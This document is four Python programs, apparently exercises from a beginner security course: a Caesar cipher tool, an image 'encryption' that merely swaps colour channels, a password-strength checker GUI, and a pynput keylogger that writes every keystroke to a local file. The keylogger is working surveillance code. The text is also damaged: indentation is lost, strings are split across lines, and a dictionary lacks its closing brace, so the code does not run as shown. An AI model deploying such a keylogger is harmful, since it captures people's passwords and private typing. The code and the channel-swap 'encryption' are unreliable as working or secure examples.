Program 1

def caesar_encrypt(text, shift):

encryp_txt = ""

for char in text:

if char.isalpha():

shift_value = ord('A') if char.isupper() else ord('a')

encrypt_char = chr((ord(char) - shift_value + shift) % 26 +

shift_value)

encryp_txt += encrypt_char

else:

encryp_txt += char

return encryp_txt

def caesar_decrypt(text, shift):

return caesar_encrypt(text, -shift)

def main():

while True:

print(" ")

choice = input("Would you like to (E)ncrypt or (D)ecrypt a message?

(Q to quit): ").upper()

if choice == 'Q':

break

elif choice in ['E', 'D']:

print(" ")

message = input("Enter your message: ")

print(" ")

shift = int(input("Enter the shift value (0-25): "))

print(" ")
 if choice == 'E':

encrypted_message = caesar_encrypt(message, shift)

print(f"Encrypted message: {encrypted_message}")

print(" ")

else:

decrypted_message = caesar_decrypt(message, shift)

print(f"Decrypted message: {decrypted_message}")

print(" ")

else:

print("Invalid choice. Please choose E, D, or Q.")

print(" ")

if __name__ == "__main__":

main()

program 2
from PIL import Image

def encrypt_image(input_image_path, output_image_path):

# Open the image

with Image.open(input_image_path) as img:

# Convert the image to RGB mode

img = img.convert("RGB")

# Get the size of the image

width, height = img.size

# Load the pixel data

pixels = img.load()

# Swap the red and blue pixels

for x in range(width):

for y in range(height):

r, g, b = pixels[x, y]

pixels[x, y] = (b, g, r)

# Save the encrypted image

img.save(output_image_path)

def decrypt_image(input_image_path, output_image_path):

# Open the image

with Image.open(input_image_path) as img:

# Convert the image to RGB mode

img = img.convert("RGB")

# Get the size of the image

 width, height = img.size

# Load the pixel data

pixels = img.load()

# Swap the red and blue pixels back

for x in range(width):

for y in range(height):

b, g, r = pixels[x, y]

pixels[x, y] = (r, g, b)

# Save the decrypted image

img.save(output_image_path)

# Example usage:

encrypt_image('demo.jpg', 'encrypted_image.jpg')

decrypt_image('encrypted_image.jpg', 'decrypted_image.jpg')

program 3

import re

import tkinter as tk

from tkinter import messagebox, ttk

import pyperclip
def assess_password_strength(password):

length_criteria = len(password) >= 8

uppercase_criteria = re.search(r'[A-Z]', password) is not None

lowercase_criteria = re.search(r'[a-z]', password) is not None

number_criteria = re.search(r'[0-9]', password) is not None

special_char_criteria = re.search(r'[@$!%*?&]', password) is not None

criteria_met = sum([length_criteria, uppercase_criteria,

lowercase_criteria,

number_criteria, special_char_criteria])

if criteria_met == 5:

strength = "Very Strong"

elif criteria_met == 4:

strength = "Strong"

elif criteria_met == 3:

strength = "Moderate"

elif criteria_met == 2:

strength = "Weak"

else:

strength = "Very Weak"

feedback = []

if not length_criteria:

feedback.append("Password should be at least 8 characters long.")

if not uppercase_criteria:

feedback.append("Password should contain at least one uppercase

letter.")

if not lowercase_criteria:
 feedback.append("Password should contain at least one lowercase
letter.")

if not number_criteria:

feedback.append("Password should contain at least one number.")

if not special_char_criteria:

feedback.append("Password should contain at least one special

character (e.g., @$!%*?&).")

return strength, feedback

def evaluate_password(event=None):

password = entry.get()

strength, feedback = assess_password_strength(password)

result_label.config(text=f"Password Strength: {strength}")

feedback_text.delete(1.0, tk.END)

if feedback:

feedback_text.insert(tk.END, "Feedback:\n")

for line in feedback:

feedback_text.insert(tk.END, f"- {line}\n")

else:

feedback_text.insert(tk.END, "Your password meets all strength

criteria!")

def on_password_change(event):

password = entry.get()

strength, feedback = assess_password_strength(password)

result_label.config(text=f"Password Strength: {strength}")

update_strength_meter(strength)
 feedback_text.delete(1.0, tk.END)

if feedback:

feedback_text.insert(tk.END, "Feedback:\n")

for line in feedback:

feedback_text.insert(tk.END, f"- {line}\n")

else:

feedback_text.insert(tk.END, "Your password meets all strength

criteria!")

def update_strength_meter(strength):

if strength == "Very Strong":

strength_meter['value'] = 100

elif strength == "Strong":

strength_meter['value'] = 80

elif strength == "Moderate":

strength_meter['value'] = 60

elif strength == "Weak":

strength_meter['value'] = 40

else:

strength_meter['value'] = 20

def copy_password_to_clipboard():

password = entry.get()

pyperclip.copy(password)

messagebox.showinfo("Password Copied", "The password has been

copied to the clipboard.")

# Set up the main application window

root = tk.Tk()

root.title("Advanced Password Strength Checker")

root.geometry("500x400")

root.config(bg="#1e1e1e")

# Create a frame for the input

input_frame = tk.Frame(root, bg="#2e2e2e")

input_frame.pack(pady=20, padx=20, fill="x")

# Create widgets

entry_label = tk.Label(input_frame, text="Enter a password:",

bg="#2e2e2e", fg="#f0f0f0", font=("Helvetica", 12))

entry = tk.Entry(input_frame, width=30, font=("Helvetica", 12),

show="*")

copy_button = tk.Button(input_frame, text="Copy",

command=copy_password_to_clipboard, font=("Helvetica", 12),

bg="#2980b9", fg="#f0f0f0", relief="flat")

entry_label.grid(row=0, column=0, pady=10, padx=10, sticky="e")

entry.grid(row=0, column=1, pady=10, padx=10)

copy_button.grid(row=1, column=1, pady=10)

# Bind the Enter key and password changes to functions

entry.bind('<Return>', evaluate_password)

entry.bind('<KeyRelease>', on_password_change)

# Create a frame for the output

output_frame = tk.Frame(root, bg="#2e2e2e")

output_frame.pack(pady=10, padx=20, fill="both", expand=True)

# Strength meter
strength_meter = ttk.Progressbar(output_frame, orient="horizontal",
length=200, mode="determinate")

strength_meter.pack(pady=10)

result_label = tk.Label(output_frame, text="", bg="#2e2e2e",

fg="#f0f0f0", font=("Helvetica", 14, "bold"))

feedback_text = tk.Text(output_frame, width=50, height=10,

wrap="word", font=("Helvetica", 10), bg="#3e3e3e",

fg="#f0f0f0", relief="flat")

result_label.pack(pady=10)

feedback_text.pack(pady=10, padx=10, fill="both", expand=True)

# Start the main event loop

root.mainloop()

program 4

from pynput import keyboard

log_file = "keylogs.txt"

shift_keys = {keyboard.Key.shift, keyboard.Key.shift_l,

keyboard.Key.shift_r}

ctrl_keys = {keyboard.Key.ctrl_l, keyboard.Key.ctrl_r}

modifier_keys = {

keyboard.Key.space: ' ',

keyboard.Key.enter: '\n',

keyboard.Key.backspace: '<BACKSPACE>',

keyboard.Key.tab: '<TAB>',

keyboard.Key.ctrl_l: '<CTRL>',

keyboard.Key.ctrl_r: '<CTRL>',

keyboard.Key.alt_l: '<ALT>',

keyboard.Key.alt_r: '<ALT>'

def on_press(key):

with open(log_file, 'a') as f:

if key in modifier_keys:

f.write(modifier_keys[key])

elif key in shift_keys or key in ctrl_keys:

pressed_keys.add(key) # Track pressed modifier keys

else:

try:

if key.char:

if keyboard.Key.ctrl_l in pressed_keys or keyboard.Key.ctrl_r

in pressed_keys:

if key.char.lower() == 'c':

f.write('<CTRL+C>')

elif key.char.lower() == 'v':

f.write('<CTRL+V>')

else:

f.write(f'<CTRL+{key.char.upper()}>')

elif any(k in pressed_keys for k in shift_keys):

 f.write(key.char.upper())

else:

f.write(key.char)

except AttributeError:

pass

def on_release(key):

if key == keyboard.Key.esc:

return False

if key in shift_keys or key in ctrl_keys:

pressed_keys.discard(key)

elif key in modifier_keys:

pass # No action needed for modifier keys on release

else:

try:

pressed_keys.discard(key)

except KeyError:

pass

pressed_keys = set()

with keyboard.Listener(

on_press=lambda key: pressed_keys.add(key) or on_press(key),

on_release=on_release) as listener:

listener.join()